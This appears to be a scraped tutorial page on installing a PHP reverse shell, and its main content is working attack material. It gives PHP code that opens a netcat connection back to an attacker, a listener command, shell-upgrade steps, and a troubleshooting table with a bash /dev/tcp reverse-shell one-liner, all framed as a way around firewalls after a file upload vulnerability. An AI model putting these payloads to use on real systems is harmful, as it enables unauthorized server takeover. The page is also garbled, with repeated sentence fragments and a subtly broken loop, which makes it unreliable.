Reverse Shell Php Install
A PHP reverse shell uses the fsockopen() function or socket libraries within PHP to create a TCP connection back to the attacker’s IP and port. Once connected, it passes system commands (via /bin/sh, cmd.exe, or bash).
Once you have chosen a payload, you need to create the reverse shell code. Here is an example of a simple reverse shell code in PHP:
<?php
$host = '127.0.0.1';
$port = 8080;
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open("nc $host $port", $descriptorspec, $pipes);
if (is_resource($process))
while (!feof($pipes[1]))
echo stream_get_contents($pipes[1]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>
This code creates a reverse shell that connects to a host on port 8080. reverse shell php install
Once connected:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# or
script /dev/null -c bash
Then press Ctrl+Z, run stty raw -echo; fg, and press Enter twice. A PHP reverse shell uses the fsockopen() function
nc -lvnp 9001
| Problem | Solution |
|---------|----------|
| No connection | Check firewall, IP/port, and that PHP's fsockopen is enabled |
| Blank shell | Try different port (80, 443, 8080) |
| Connection drops | Add set_time_limit(0); at top of script |
| proc_open disabled | Use system('/bin/bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"'); |
Imagine a server sitting behind a fortress of firewalls. You've found a file upload vulnerability, but every outbound connection from the server is tightly controlled — except port 443 (HTTPS) and port 80 (HTTP). A traditional bind shell (opening a listening port on the server) would be instantly blocked. What do you do? This code creates a reverse shell that connects
You flip the script. Instead of the attacker waiting for a connection, you make the server reach out to you. That's the essence of a reverse shell.